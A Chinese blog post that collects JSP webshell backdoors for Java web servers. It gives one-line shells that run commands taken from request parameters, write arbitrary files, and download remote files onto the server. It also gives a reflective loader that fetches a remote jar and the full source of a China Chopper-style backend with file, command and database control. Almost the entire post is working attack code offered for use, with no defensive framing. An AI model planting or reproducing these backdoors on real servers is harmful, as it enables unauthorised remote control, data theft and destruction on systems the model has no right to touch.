jsp小后门

来源:互联网 发布:nginx etag 配置 编辑:程序博客网 时间:2024/06/05 08:30

一:执行系统命令:

无回显执行系统命令:

?
1
<%Runtime.getRuntime().exec(request.getParameter("i"));%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls

执行之后不会有任何回显,用来反弹个shell很方便。

有回显带密码验证的:

?
1
2
3
4
5
6
7
8
9
10
11
12
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        inta = -1;
        byte[] b = newbyte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(newString(b));
        }
        out.print("</pre>");
    }
%>

请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

1

二、把字符串编码后写入指定文件的:

1:

?
1
<%newjava.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

?
1
<%newjava.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2:

?
1
<%newjava.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234

写入web目录:

?
1
<%newjava.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>

请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

三:下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长…)

?
1
2
3
4
5
6
7
8
9
10
<%
    java.io.InputStream in = newjava.net.URL(request.getParameter("u")).openStream();
    byte[] b = newbyte[1024];
    java.io.ByteArrayOutputStream baos = newjava.io.ByteArrayOutputStream();
    inta = -1;
    while((a = in.read(b)) != -1) {
        baos.write(b,0, a);
    }
    newjava.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray());
%>

请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png

下载到web路径:

?
1
2
3
4
5
6
7
8
9
10
<%
    java.io.InputStream in = newjava.net.URL(request.getParameter("u")).openStream();
    byte[] b = newbyte[1024];
    java.io.ByteArrayOutputStream baos = newjava.io.ByteArrayOutputStream();
    inta = -1;
    while((a = in.read(b)) != -1) {
        baos.write(b,0, a);
    }
    newjava.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());
%>

请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

四:反射调用外部jar,完美后门

如果嫌弃上面的后门功能太弱太陈旧可以试试这个:

?
1
<%=Class.forName("Load",true,newjava.net.URLClassLoader(newjava.net.URL[]{newjava.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null,newObject[]{request.getParameterMap()})%>

请求:http://192.168.16.240:8080/Shell/reflect.jsp?u=https://javaweb.org/Cat.jar&023=A

2

菜刀连接:http://192.168.16.240:8080/Shell/reflect.jsp?u=https://javaweb.org/Cat.jar,密码023.

3

解:

利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。

下载:Cat.jar

Load代码:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
importjava.io.IOException;
importjava.util.HashMap;
importjava.util.Map;
importjava.util.Map.Entry;
 
/*
 * To change this license header, choose License Headers in Project Properties.
 * To change this template file, choose Tools | Templates
 * and open the template in the editor.
 */
/**
 *
 * @author yz
 */
publicclass Load {
     
    publicstatic String load(Map<String,String[]> map){
        try{
            Map<String,String> request = newHashMap<String,String>();
            for(Entry<String, String[]> entrySet : map.entrySet()) {
                String key = entrySet.getKey();
                String value = entrySet.getValue()[0];
                request.put(key, value);
            }
            returnnew Chopper().doPost(request);
        }catch(IOException ex) {
            returnex.toString();
        }
    }
     
}

Chopper代码:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
importjava.io.BufferedInputStream;
importjava.io.BufferedReader;
importjava.io.BufferedWriter;
importjava.io.ByteArrayOutputStream;
importjava.io.File;
importjava.io.FileInputStream;
importjava.io.FileOutputStream;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.InputStreamReader;
importjava.io.OutputStreamWriter;
importjava.lang.reflect.Method;
importjava.net.HttpURLConnection;
importjava.net.URL;
importjava.net.URLClassLoader;
importjava.sql.Connection;
importjava.sql.DriverManager;
importjava.sql.ResultSet;
importjava.sql.ResultSetMetaData;
importjava.sql.Statement;
importjava.text.SimpleDateFormat;
importjava.util.Date;
importjava.util.Map;
 
publicclass Chopper{
 
    publicstatic String getPassword() throwsIOException {
        return"023";
    }
 
    String cs = "UTF-8";
 
    String encoding(String s) throwsException {
        returnnew String(s.getBytes("ISO-8859-1"), cs);
    }
 
    Connection getConnection(String s) throwsException {
        String[] x = s.trim().split("\r\n");
        try{
            Class.forName(x[0].trim());
        }catch(ClassNotFoundException e) {
            booleanclassNotFound = true;
            BufferedReader br = newBufferedReader(newInputStreamReader(this.getClass().getResourceAsStream("/map.txt")));
            String str = "";
            while((str = br.readLine()) != null) {
                String[] arr = str.split("=");
                if(arr.length == 2&& arr[0].trim().equals(x[0].trim())) {
                    try{
                        URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader();
                        Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
                        m.setAccessible(true);
                        m.invoke(ucl,newObject[]{newURL(arr[1])});
                        Class.forName(arr[0].trim());
                        classNotFound = false;
                        break;
                    }catch(ClassNotFoundException ex) {
                        throwex;
                    }
                }
            }
            if(classNotFound) {
                throwe;
            }
        }
        if(x[1].contains("jdbc:oracle")) {
            returnDriverManager.getConnection(x[1].trim() + ":"+ x[4],
                    x[2].equalsIgnoreCase("[/null]") ? "": x[2],
                    x[3].equalsIgnoreCase("[/null]") ? "": x[3]);
        }else{
            Connection c = DriverManager.getConnection(x[1].trim(),
                    x[2].equalsIgnoreCase("[/null]") ? "": x[2],
                    x[3].equalsIgnoreCase("[/null]") ? "": x[3]);
            if(x.length > 4) {
                c.setCatalog(x[4]);
            }
            returnc;
        }
    }
 
    voidlistRoots(ByteArrayOutputStream out) throwsException {
        File r[] = File.listRoots();
        for(File f : r) {
            out.write((f.getName()).getBytes(cs));
        }
    }
 
    voiddir(String s, ByteArrayOutputStream out) throwsException {
        File l[] = newFile(s).listFiles();
        for(File f : l) {
            String mt = newSimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(newDate(f.lastModified()));
            String rw = f.canRead() ? "R": ""+ (f.canWrite() ? " W" : "");
            out.write((f.getName() + (f.isDirectory() ? "/": "") + "\t"+ mt + "\t"+ f.length() + "\t"+ rw + "\n").getBytes(cs));
        }
    }
 
    voiddeleteFiles(File f) throwsException {
        if(f.isDirectory()) {
            File x[] = f.listFiles();
            for(File fs : x) {
                deleteFiles(fs);
            }
        }
        f.delete();
    }
 
    byte[] readFile(String s) throwsException {
        intn;
        byte[] b = newbyte[1024];
        BufferedInputStream bis = newBufferedInputStream(newFileInputStream(s));
        ByteArrayOutputStream bos = newByteArrayOutputStream();
        while((n = bis.read(b)) != -1) {
            bos.write(b,0, n);
        }
        bis.close();
        returnbos.toByteArray();
    }
 
    voidupload(String s, String d) throwsException {
        String h = "0123456789ABCDEF";
        File f = newFile(s);
        f.createNewFile();
        FileOutputStream os = newFileOutputStream(f);
        for(inti = 0; i < d.length(); i += 2) {
            os.write((h.indexOf(d.charAt(i)) << 4| h.indexOf(d.charAt(i + 1))));
        }
        os.close();
    }
 
    voidfilesMove(File sf, File df) throwsException {
        if(sf.isDirectory()) {
            if(!df.exists()) {
                df.mkdir();
            }
            File z[] = sf.listFiles();
            for(File z1 : z) {
                filesMove(newFile(sf, z1.getName()), newFile(df, z1.getName()));
            }
        }else{
            FileInputStream is = newFileInputStream(sf);
            FileOutputStream os = newFileOutputStream(df);
            intn;
            byte[] b = newbyte[1024];
            while((n = is.read(b)) != -1) {
                os.write(b,0, n);
            }
            is.close();
            os.close();
        }
    }
 
    voidfileMove(File s, File d) throwsException {
        s.renameTo(d);
    }
 
    voidmkdir(File s) throwsException {
        s.mkdir();
    }
 
    voidsetLastModified(File s, String t) throwsException {
        s.setLastModified(newSimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime());
    }
 
    voiddownloadRemoteFile(String s, String d) throwsException {
        intn = 0;
        FileOutputStream os = newFileOutputStream(d);
        HttpURLConnection h = (HttpURLConnection) newURL(s).openConnection();
        InputStream is = h.getInputStream();
        byte[] b = newbyte[1024];
        while((n = is.read(b)) != -1) {
            os.write(b,0, n);
        }
        os.close();
        is.close();
        h.disconnect();
    }
 
    voidinputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throwsException {
        inti = -1;
        byte[] b = newbyte[1024];
        while((i = is.read(b)) != -1) {
            out.write(b,0, i);
        }
    }
 
    voidgetCurrentDB(String s, ByteArrayOutputStream out) throwsException {
        Connection c = getConnection(s);
        ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs();
        while(r.next()) {
            out.write((r.getObject(1) + "\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
 
    voidgetTableName(String s, ByteArrayOutputStream out) throwsException {
        Connection c = getConnection(s);
        String[] x = s.trim().split("\r\n");
        ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5? x[5] : x[4] : null,"%",newString[]{"TABLE"});
        while(r.next()) {
            out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
 
    voidgetTableColumn(String s, ByteArrayOutputStream out) throwsException {
        String[] x = s.trim().split("\r\n");
        Connection c = getConnection(s);
        ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery();
        ResultSetMetaData d = r.getMetaData();
        for(inti = 1; i <= d.getColumnCount(); i++) {
            out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs));
        }
        r.close();
        c.close();
    }
 
    voidexecuteQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throwsException {
        Connection c = getConnection(s);
        Statement m = c.createStatement(1005,1008);
        BufferedWriter bw = null;
        try{
            booleanf = q.contains("--f:");
            ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q);
            ResultSetMetaData d = r.getMetaData();
            intn = d.getColumnCount();
            for(inti = 1; i <= n; i++) {
                out.write((d.getColumnName(i) + "\t|\t").getBytes(cs));
            }
            out.write(("\r\n").getBytes(cs));
            if(f) {
                File file = newFile(p);
                if(!q.contains("-to:")) {
                    file.mkdir();
                }
                bw = newBufferedWriter(newOutputStreamWriter(newFileOutputStream(newFile(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs));
            }
            while(r.next()) {
                for(inti = 1; i <= n; i++) {
                    if(f) {
                        bw.write(r.getObject(i) + ""+ "\t");
                        bw.flush();
                    }else{
                        out.write((r.getObject(i) + ""+ "\t|\t").getBytes(cs));
                    }
                }
                if(bw != null) {
                    bw.newLine();
                }
                out.write(("\r\n").getBytes(cs));
            }
            r.close();
            if(bw != null) {
                bw.close();
            }
        }catch(Exception e) {
            out.write(("Result\t|\t\r\n").getBytes(cs));
            try{
                m.executeUpdate(q);
                out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs));
            }catch(Exception ee) {
                out.write((ee.toString() + "\t|\t\r\n").getBytes(cs));
            }
        }
        m.close();
        c.close();
    }
 
    publicString doPost(Map<String,String>request) throwsIOException {
        cs = request.get("z0") != null? request.get("z0") + "": cs;
        ByteArrayOutputStream out = newByteArrayOutputStream();
        try{
            charz = (char) request.get(getPassword()).getBytes()[0];
            String z1 = encoding(request.get("z1") + "");
            String z2 = encoding(request.get("z2") + "");
            out.write("->|".getBytes(cs));
            String s = newFile("").getCanonicalPath();
            byte[] returnTrue = "1".getBytes(cs);
            switch(z) {
                case'A':
                    out.write((s + "\t").getBytes(cs));
                    if(!s.substring(0,1).equals("/")) {
                        listRoots(out);
                    }
                    break;
                case'B':
                    dir(z1, out);
                    break;
                case'C':
                    String l = "";
                    BufferedReader br = newBufferedReader(newInputStreamReader(newFileInputStream(newFile(z1))));
                    while((l = br.readLine()) != null) {
                        out.write((l + "\r\n").getBytes(cs));
                    }
                    br.close();
                    break;
                case'D':
                    BufferedWriter bw = newBufferedWriter(newOutputStreamWriter(newFileOutputStream(newFile(z1))));
                    bw.write(z2);
                    bw.flush();
                    bw.close();
                    out.write(returnTrue);
                    break;
                case'E':
                    deleteFiles(newFile(z1));
                    out.write("1".getBytes(cs));
                    break;
                case'F':
                    out.write(readFile(z1));
                case'G':
                    upload(z1, z2);
                    out.write(returnTrue);
                    break;
                case'H':
                    filesMove(newFile(z1), newFile(z2));
                    out.write(returnTrue);
                    break;
                case'I':
                    fileMove(newFile(z1), newFile(z2));
                    out.write(returnTrue);
                    break;
                case'J':
                    mkdir(newFile(z1));
                    out.write(returnTrue);
                    break;
                case'K':
                    setLastModified(newFile(z1), z2);
                    out.write(returnTrue);
                    break;
                case'L':
                    downloadRemoteFile(z1, z2);
                    out.write(returnTrue);
                    break;
                case'M':
                    String[] c = {z1.substring(2), z1.substring(0,2), z2};
                    Process p = Runtime.getRuntime().exec(c);
                    inputStreamToOutPutStream(p.getInputStream(), out);
                    inputStreamToOutPutStream(p.getErrorStream(), out);
                    break;
                case'N':
                    getCurrentDB(z1, out);
                    break;
                case'O':
                    getTableName(z1, out);
                    break;
                case'P':
                    getTableColumn(z1, out);
                    break;
                case'Q':
                    executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\","/") + "images/");
                    break;
            }
        }catch(Exception e) {
            out.write(("ERROR"+ ":// " + e.toString()).getBytes(cs));
        }
        out.write(("|<-").getBytes(cs));
        returnnew String(out.toByteArray());
    }
 
}

map.txt:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
oracle.jdbc.driver.OracleDriver=https://javaweb.org/jdbc/classes12.jar
com.mysql.jdbc.Driver=https://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jar
com.microsoft.jdbc.sqlserver.SQLServerDriver=https://javaweb.org/jdbc/sqlserver2000/msbase.jar,https://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,https://javaweb.org/jdbc/sqlserver2000/msutil.jar
com.microsoft.sqlserver.jdbc.SQLServerDriver=https://javaweb.org/jdbc/sqljdbc4.jar
com.ibm.db2.jcc.DB2Driver=https://javaweb.org/jdbc/db2java.jar
com.informix.jdbc.IfxDriver=https://javaweb.org/jdbc/ifxjdbc.jar
com.sybase.jdbc3.jdbc.SybDriver=https://javaweb.org/jdbc/jconn3d.jar
org.postgresql.Driver=https://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jar
com.ncr.teradata.TeraDriver=https://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jar
com.hxtt.sql.access.AccessDriver=https://javaweb.org/jdbc/Access_JDBC30.jar
org.apache.derby.jdbc.ClientDriver=https://javaweb.org/jdbc/derby.jar
org.hsqldb.jdbcDriver=https://javaweb.org/jdbc/hsqldb.jar
net.sourceforge.jtds.jdbc.Driver=https://javaweb.org/jdbc/jtds-1.2.5.jar
mongodb=https://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar
0 0
原创粉丝点击